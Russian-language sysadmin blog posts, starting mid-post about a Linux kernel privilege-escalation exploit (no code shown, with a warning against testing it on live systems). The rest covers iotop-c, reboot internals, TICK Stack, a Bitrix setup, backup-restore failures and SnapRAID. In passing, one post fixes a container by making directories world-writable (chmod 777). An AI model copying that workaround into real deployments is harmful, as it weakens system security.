Система при работе эксплоита может зависнуть, так что срабатывает через раз. В репозитории несколько обращений по этой теме. Тем не менее, с большой долей вероятности эксплоит срабатывает. Я проверял несколько раз.

И таких уязвимостей в ядре находят немало. Иногда смотрю какие-то разборы взломов. Там взломщики тем или иным образом попадают в систему, чаще всего через веб приложения или сайты. Смотрят версию ядра, проверяют уязвимости и готовые эксплоиты по публичным базам данных. Если под ядро есть эксплоит, то практически без проблем получают полные права.

❗️На всякий случай предупрежу, а то мало ли. Не проверяйте этот эксплойт на рабочих системах. Я чисто для демонстрации работы уязвимостей в ядре всё это показал, потому что подобное и раньше видел. Это типовая история. Проверять свои системы так не надо.

#security

Попалось уже не новое видео How To Be A Linux User с 3-мя миллионами просмотров. Подумал, что что-то интересное. Включил, а там какая-то ерунда. Разбирают основные признаки линуксоидов. В начале идёт про бороды. Заезженный стереотип про линуксоидов и в целом системных администраторов, который уже давно неактуален (погладил бороду).

Вторым признаком назвали использование старых Thinkpad. В качестве примера привели модель x201 (почти копия x220). Тут немного обидно стало. У меня дома 3 Thinkpad x220, и ещё рабочий T480. Оказывается, меня уже можно классифицировать по любви к старым Thinkpad, хоть на них и установлены винды.

Дальше прошлись и по всему остальному - наклейки на ноуты, постоянное времяпрепровождение за компом, стремление всем объяснить, что лучше использовать Linux. На всякий случай уточню, что видео по задумке юмористическое, воспринимать всерьёз не надо.

Последнее, кстати, регулярно наблюдаю тут в комментариях. Стоит где-то упомянуть, что у меня на рабочем ноуте Windows, обязательно найдутся люди, которые спросят почему не Linux, или вообще скажут, что я недоадмин, раз у меня винда - рабочая система. Почему-то пользователи macOS никогда такого не говорят. Без шуток, ни разу такого не слышал от них, хотя по статистике среди админов и девопсов пользователей Linux и macOS примерно поровну. Я это лично наблюдал и на очных курсах. Где-то 50% винда и по 25% на Linux и macOS приходится. Надо будет как-нибудь тут опрос замутить на эту тему.

Как думаете, с чем это связано? Реально такая штука есть, чем объяснить, не знаю. Я сам не линуксоид. Линукс только на серверах. Рабочий комп и все компы в семье на винде. Объясняю обычно эту ситуацию просто. Если ты тракторист или комбайнёр, то это не значит, что тебе по своим делам тоже надо ездить на комбайне или тракторе, если удобнее на легковушке. Мне в ежедневных делах удобнее на винде.

#юмор

​​На это неделе сообщество Linkmeup анонсировало переход в открытый доступ курса про сети в Linux. Этот курс был записан совместно со школой Слёрм и поначалу был платный. Теперь его перевели в условно бесплатный режим. За доступ к курсу всего-то придётся отдать немного своих персональных данных, что считаю приемлемым разменом.

Описание курса живёт на любопытном домене seteviki.nuzhny.net, а для прохождения нужно будет зарегистрироваться в личном кабинете у Слёрм. Сам курс я не смотрел, но зная и Linkmeup, и Слёрм, заочно могу предположить, что курс хорошего уровня. Так что рекомендую, если вам актуальна эта тематика. А она 100% актуальна, если вы на этом канале, потому что сети - это база, которая нужна всем.

А если вы сисадмин, то точно надо проходить, потому что там есть тема, которую должен освоить каждый уважающий себя специалист в этой области:

💥 Делаем офисный роутер из Linux

Ну какой сисадмин без офисного роутера? Не Mikrotik же туда ставить или какую-то другую проприетарщину.

#обучение

​​В Linux есть простой и удобный инструмент для просмотра дисковой активности в режиме реального времени - iotop. У него формат вывода похож на традиционный top, только вся информация в выводе посвящена дисковой активности процессов.

В последнее время стал замечать, что в основном везде используется iotop-c. Это тот же iotop, только переписанный на C. Новая реализация поддерживается и понемногу развивается, в то время, как оригинальный iotop не развивается очень давно.

В каких-то дистрибутивах остались обе эти утилиты, а в каких-то iotop полностью заметили на iotop-c. Например, в Debian остались обе:

# apt search iotop

iotop/stable 0.6-42-ga14256a-0.1+b2 amd64
simple top-like I/O monitor

iotop-c/stable,now 1.23-1+deb12u1 amd64 [installed]
simple top-like I/O monitor (implemented in C)

А в Fedora iotop полностью заменили на iotop-c, с сохранением старого названия.

Так что если захотите воспользоваться iotop, чтобы отследить дисковую активность отдельных процессов, то ставьте на всякий случай сразу iotop-c. Программа простая и удобная. Запустили, отсортировали по нужному столбцу (стрелками влево или вправо) и смотрим активность. Обычно в первую очередь запись интересует.

Напомню, что у меня есть небольшая заметка про комплексный анализ дисковой активности в Linux с помощью различных консольных утилит.

#perfomance

​​Раньше были разные варианты перезагрузки системы Linux. Как минимум shutdown -r и reboot. Сейчас всё это не имеет значения, так как реально всем управляет systemd. А если посмотреть на shutdown и reboot, то окажется, что это символьные ссылки на systemctl.

# whereis reboot
reboot: /usr/sbin/reboot

# ls -la /usr/sbin/reboot
/usr/sbin/reboot -> /bin/systemctl

# whereis shutdown
shutdown: /usr/sbin/shutdown

# ls -la /usr/sbin/shutdown
/usr/sbin/shutdown -> /bin/systemctl

То есть не важно, как вы перезагрузите сервер. Всё равно команда будет отправлена в systemd. В некоторых инструкциях и статьях вижу, что сервер перезагружают так:

# systemctl reboot

Набирать systemctl не обязательно. Обычный reboot выполнит ту же самую команду.

Возникает вопрос, а как systemctl понимает, какую команду надо выполнить? Символьные ссылки одинаковы в обоих случаях и ведут просто в /bin/systemctl. С помощью механизма запуска программ execve можно узнать имя исполняемой команды. Примерно так:

$ bash -c 'echo $0'
bash

$0 покажет имя запущенной команды. В systemctl стоит проверка вызванной команды, поэтому она определяет, что реально вы запустили - reboot или shutdown. Вообще, в systemctl столько всего наворочено. Перезагрузить компьютер так же можно следующими командами:

# systemctl start reboot.target
# systemctl start ctrl-alt-del.target

Эти команды делают то же самое, что и reboot. По крайней мере на первый взгляд. Остаётся только гадать, зачем там всё это. Ну либо где-то в манах или исходниках читать.

Дам ещё небольшую подсказку в рамках этой темы. И shutdown, и reboot, и systemctl в итоге обращаются к бинарнику на диске. Если у вас какие-то проблемы с диском и не удаётся прочитать этот бинарник, то перезагрузка не состоится. Всё будет продолжать висеть. Если запущена консоль, то можно через неё сразу передать команду на перезагрузку напрямую ядру

# echo b > /proc/sysrq-trigger

Сервер тут же перезагрузится, как будто у него физически нажали reset.

#linux

​​Когда речь заходит о современном мониторинге, в первую очередь на ум приходит Prometheus и прочие совместимые с ним системы. Более возрастные специалисты возможно назовут Zabbix и в целом не ошибутся. Сколько его ни хоронят, но на самом деле он остаётся вполне современным и востребованным.

А вот дальше уже идёт список из менее популярных систем, которые тем не менее живут, развиваются и находят своё применение. Про один из таких современных мониторингов с вполне солидной историей я кратко расскажу. Речь пойдёт про TICK Stack (Telegraf, InfluxDB, Chronograf, Kapacitor). Я могу ошибаться, но вроде бы мониторинг на базе InfluxDB и Telegraf появился чуть раньше, чем подобный стэк на базе Prometheus. По крайней мере я про них давно знаю. Он был немного экзотичен, но в целом использовался. Сам не пробовал, но читал много обзорных статей по его использованию.

TICK Stack состоит из следующих компонентов:

◽Telegraf — агент, который собирает метрики, логи и передаёт в базу influxdb, но умеет также передавать в elasticsearch, prometheus или graphite.
◽InfluxDB — СУБД для хранения временных рядов (TSDB - time series database).
◽Chronograf — веб интерфейс для визуализации метрик.
◽Kapacitor — система поиска аномалий и отправки уведомлений.

Из этого стэка при желании можно убрать Chronograf и Kapacitor, а вместо них взять Grafana. Она поддерживает просмотр метрик из Influxdb. TICK Stack архитектурно похож на мониторинг на базе Prometheus. Тот же набор компонентов - агент для метрик, база данных, веб интерфейс и уведомления.

📌 Основные отличия Prometheus от TICK Stack:

🔹Ключевое отличие скорее всего в языке запросов - InfluxQL против PromQL. Первый сильно похож на SQL, в то время как PromQL вообще ни на что не похож. Его придётся учить с нуля.
🔹InfluxDB полностью поддерживает хранение строк. То есть туда можно складывать и логи. Она нормально с ними работает.
🔹Подход сбора метрик у низ разный. Пром сам собирает метрики по модели pull, а TICK Stack получает их от агентов по модели push, которые сами отправляют данные.
🔹У InfluxDB есть коммерческая версия с готовым масштабируемым кластером.
🔹В среднем TICK Stack потребляет больше ресурсов, чем аналог стека на базе Prometheus.

Попробовать всё это хозяйство очень просто. Есть готовое тестовое окружение в docker-compose. Там сразу представлены и документация, и примеры конфигов, и управляющий скрипт.

# git clone https://github.com/influxdata/sandbox.git
# cd sandbox
# ./sandbox up

Будет поднято окружение по предоставленному docker-compose.yaml. У меня не запустился контейнер с Chronograf. Посмотрел его лог, ругается на то, что не хватает прав. Разбираться не стал, просто дал директориям chronograf/data права 777 и ещё раз запустил. Стэк поднялся полностью.

Chronograf запускается на порту 8888. Можно идти в веб интерфейс и смотреть, как там всё устроено. Примеры конфигов в соответствующих директориях в репозитории. По умолчанию Telegraf передаёт только метрики CPU и самой InfluxDB. Полная информация по деплою есть в документации.

Мониторинг TICK Stack ориентирован как на мониторинг контейнеров, в том числе кластеров Kubernetes и конечных приложений, так и непосредственно операционных систем. У Telegraf есть готовые плагины на все случаи жизни. Полный список можно посмотреть в документации. Чего там только нет. Поддерживаются все популярные системы, в том числе Windows. Можно, к примеру, собирать её логи. То есть система универсальна. Тут и мониторинг, и логи. Два в одном.

Из необычного, нашёл плагин для мониторинга за ютуб каналами - подписчики, просмотры, видео. Есть плагин мониторинга таймеров systemd, sql запросов в субд, атрибутов смарт через smartctl, гипервизора proxmox, плагин для сбора метрик с экспортеров прометеуса и много всего интересного. На вид система неплохо выглядит. Как на практике, не знаю. Я не использовал.

⇨ Сайт / Список плагинов

#мониторинг

​​На прошлой неделе мне нужно было поднять новый сервер для сайта на движке Bitrix. Практически всё время до этого я и все известные мне разработчики разворачивали готовое окружение от авторов фреймворка - BitrixVM. Это готовый инструмент с TUI управлением. В целом, всё было удобно и функционально. Не без отдельных проблем, но это частности. Главное, что актуальность всего совместимого ПО поддерживали сами разработчики Битрикса. И оно было у всех идентичное, что упрощало разработку и перенос сайтов.

BitrixVM построено на базе Centos 7, которая через пару недель прекратит свою поддержку. В итоге встал вопрос, а какое окружение ставить? Я бегло поискал, но не нашёл никакой конкретики на этот счёт. К чему в итоге пришли разработчики и какое окружение они рекомендуют использовать? Я хз.

В итоге потратил кучу времени и поднял всё вручную на базе Debian 12. Установил и связал между собой все необходимые компоненты. Вместо Nginx взял сразу Angie, чтобы удобнее было мониторинг настроить. Да и в целом он мне больше Nginx нравится. Решил написать эту заметку, чтобы получить обратную связь. У кого-то есть конкретика по этой теме?

Судя по всему, все решают эту задачу кто во что горазд. Я нашёл несколько репозиториев с настройкой окружения для Bitrix. Вот они:

🔥https://gitlab.com/bitrix-docker/server
⇨ https://github.com/bitrixdock/bitrixdock
⇨ https://github.com/bestatter/bitrix-docker
⇨ https://github.com/paskal/bitrix.infra

Не захотелось во всём этом разбираться, поэтому настроил сам. Там ничего особенного, просто компонентов побольше, чем у обычного веб сервера на php. И конфиги немного понавороченней из-за особенностей Битрикса. Не хотелось бы всё это поддерживать теперь самостоятельно. И сейчас думаю, либо писать статью, подбивать все конфиги и как-то это упаковывать в ansible или docker. Либо всё-таки подождать какое-то решение от разработчиков.

В процессе настройки нашёл у Битрикса скрипт, который позволяет проверить соответствие хостинга требованиям движка. Раньше не видел его, да и необходимости не было. Забирайте, кто будет решать такую же задачу, пригодится:

⇨ Скрипт bitrix_server_test

Там заметка старая, но скрипт регулярно обновляется. Текущая версия от 29.02.2024.

#bitrix

Расскажу пару историй с ошибками бэкапов, с которыми столкнулся за последнее время. Я уже много раз рассказывал про свои подходы к созданию бэкапов. Вот примеры: 1, 2, 3, 4, 5, 6. Ничего нового не скажу, просто поделюсь своими историями.

Проблема номер 1. Есть сервер PBS для бэкапа виртуальных машин Proxmox. Бэкапы регулярно делаются, проходят проверку встроенными средствами, ошибок нет. Решаю проверить полное восстановление VM на новый сервер. Нашёл подходящий свободный сервер, подключил хранилище PBS, запустил восстановление виртуалки размером 450 Гб. А оно не проходит. Тупо ошибка:

restore failed: error:0A000119:SSL routines:ssl3_get_record:decryption failed or bad record mac:../ssl/record/ssl3_record.c:622

в случайный момент времени. Ошибка неинформативная. Со стороны PBS просто:

TASK ERROR: connection error: connection reset

Похоже на сетевую ошибку. Немного погуглил, увидел людей, которые сталкивались с похожими проблемами. Причины могут быть разными. У кого-то с драйвером сетевухи проблемы, какие-то настройки интерфейса меняют, у кого-то через VPN есть эта ошибка, без VPN нет. Я, кстати, по VPN каналу делал восстановление. Возможно, это мой случай.

Столкнуться с проблемами передачи такого большого файла через интернет вероятность очень большая. Никакой докачки нет. После ошибки, начинай всё заново. Поэтому я всегда делаю бэкап VM и в обязательном порядке сырых данных внутри этой виртуалки. Обычно с помощью rsync или чего-то подобного. Это позволит всегда иметь под рукой реальные данные без привязки к какой-то системе бэкапов, которая может тупо заглючить или умереть.

Хорошо, что это была просто проверка и у меня есть другие бэкапы данных. А если бы была авария и тут такой сюрприз в виде невозможности восстановиться. Кстати, бэкап на самом деле живой. Я вытащил из него данные через обзор файлов. Но целиком восстановить VM не получилось из-за каких-то сетевых проблем.

Проблема номер 2. События вообще в другом месте и никак не связаны. Разные компании. Появляется новый свободный сервер, который ещё не запустили в эксплуатацию. Решаю на него восстановить полную версию VM через Veeam Backup and Replication. Вим регулярное делает бэкапы, шлёт отчёты, бэкапы восстанавливаются через настроенную задачу репликации. То есть всё работает как надо.

Новый сервер в другой локации, с другой сетью, связь через VPN. Но тут сразу скажу, проблема не в этом. Запускаю восстановление, а оно раз за разом падает с ошибкой:

Restore job failed. Error: The network path was not found. Failed to open storage for read access. Storage: [\\10.30.5.21\veeam\Office\OfficeD2024-05-23T040102_8E4F.vib]. Failed to restore file from local backup. VFS link: [summary.xml]. Target file: [MemFs://frontend::CDataTransferCommandSet::RestoreText_{f81d9dbd-ee5b-4a4e-ae58-744bb6f46a6b}]. CHMOD mask: [226]. Agent failed to process method {DataTransfer.RestoreText}.

Налицо какая-то сетевая проблема, но не могу понять, в чём дело. SMB шара работает, доступна. Бэкапы туда складываются и разворачиваются планом репликации. На вид всё ОК.

Несколько дней я подходил к этой задаче и не мог понять, что не так. Решение пришло случайно. Я вспомнил, что NAS, с которого монтируется SMB шара, файрволом ограничен белым списком IP, которым разрешён доступ к данным. Я проверял с управляющей машины и реплицировал данные на сервера из этого списка, которые в одной локации. Проблем не было. А нового сервера в списках не было. Восстановление запускает агента на новом сервере и он напрямую от себя тянет данные с хранилища, а я думал, что через прокси на управляющей машине.

Хорошо, что всё это было выявлено во время проверки. А если бы всё грохнулось и я пытался бы восстановиться, то не факт, что вспомнил, в чём проблема, особенно в состоянии стресса. Столько бы кирпичей отложил, когда увидел, что бэкап не восстанавливается.

❗️В заключении скажу банальность - проверяйте бэкапы. Особенно большие VM и бэкапы баз данных.

#backup

​​Прочитал интересную серию статей Building A 'Mini' 100TB NAS, где человек в трёх частях рассказывает, как он себе домой NAS собирал и обновлял. Железо там хорошее для дома. Было интересно почитать.

Меня в третьей части привлёк один проект для создания хранилища с дублированием информации - SnapRAID. Я раньше не слышал про него. Это такая необычная штука не то бэкапилка, не то рейд массив. Наполовину и то, и другое. Расскажу, как она работает.

Образно SnapRAID можно сравнить с RAID 5 или RAID 6, но с ручной синхронизацией. И реализован он программно поверх уже существующей файловой системы.

Допустим, у вас сервер с четырьмя дисками. Вы хотите быть готовым к тому, что выход из строя одного из дисков не приведёт к потере данных. Тогда вы настраиваете SnapRAID следующим образом:

/mnt/diskp <- диск для контроля чётности
/mnt/disk1 <- первый диск с данными
/mnt/disk2 <- второй диск с данными
/mnt/disk3 <- третий диск с данными

Принцип получается как в обычном RAID5. Вы создаёте настройки для SnapRAID в /etc/snapraid.conf:

parity /mnt/diskp/snapraid.parity
content /var/snapraid/snapraid.content
content /mnt/disk1/snapraid.content
content /mnt/disk2/snapraid.content
data d1 /mnt/disk1/
data d2 /mnt/disk2/
data d3 /mnt/disk3/

И после этого запускаете синхронизацию:

# snapraid sync

Данные на дисках могут уже присутствовать. Это не принципиально. SnapRAID запустит процесс пересчёта чётности файлов, как в обычном RAID 5. Только проходит это не в режиме онлайн, а после запуска команды.

После того, как вся чётность пересчитана, данные защищены на всех дисках. Если любой из дисков выйдет из строя, у вас будет возможность восстановить данные на момент последней синхронизации.

Звучит это немного странно и я до конца не могу осознать, как это работает, потому что толком не понимаю, как контроль чётности помогает восстанавливать файлы. Но в общем это работает. Получается классический RAID 5 с ручной синхронизацией.

Надеюсь основной принцип работы я передал. Насколько я понял, подобная штука может быть очень удобной для дома. К примеру, для хранения медиа контента, к которому доступ в основном в режиме чтения. Не нужны никакие рейд контроллеры и массивы. Берём любые диски, объединяем их в SnapRAID, синхронизируем данные раз в сутки по ночам и спокойно спим. Если выйдет из строя один диск, вы ничего не теряете. Имеете честный RAID 5 с ручной синхронизацией, что для дома приемлемо. Да и не только для дома. Можно ещё где-то придумать применение.

Одной из возможностей SnapRAID является создание некоего пула, который будет объединять символьными ссылками в режиме чтения данные со всех дисков в одну точку монтирования, которую можно расшарить в сеть. То есть берёте NAS из четырёх дисков. Один диск отдаёте на контроль чётности. Три Остальных заполняете, как вам вздумается. Потом создаёте пул, шарите его по сети, подключаете к телевизору. Он видит контент со всех трёх дисков.

Выглядит эта тема на самом деле неплохо. У меня дома как раз NAS на 4 диска и у меня там 2 зеркала RAID 1 на базе mdadm. В основном хранится контент для медиацентра, фотки и немного других файлов. Вариант со SnapRAID смотрится в этом случае более привлекательным, чем два рейд массива.

Я прочитал весь Getting Started. Настраивается и управляется эта штука очень просто. Небольшой конфиг и набор простых команд. Понятен процесс восстановления файлов, добавления новых дисков. Даже если что-то пойдёт не так, то больше данных, чем было на сломавшемся диске, вы не потеряете. Не выйдет так, что массив развалился и вы остались без данных, так как они лежат в исходном виде на файловой системе.

SnapRAID есть в составе openmediavault. Он там очень давно присутствует в виде плагина. Программа представляет из себя один исполняемый файл и конфигурацию к нему. Есть как под Linux, так и Windows.

⇨ Сайт / Исходники

#fileserver #backup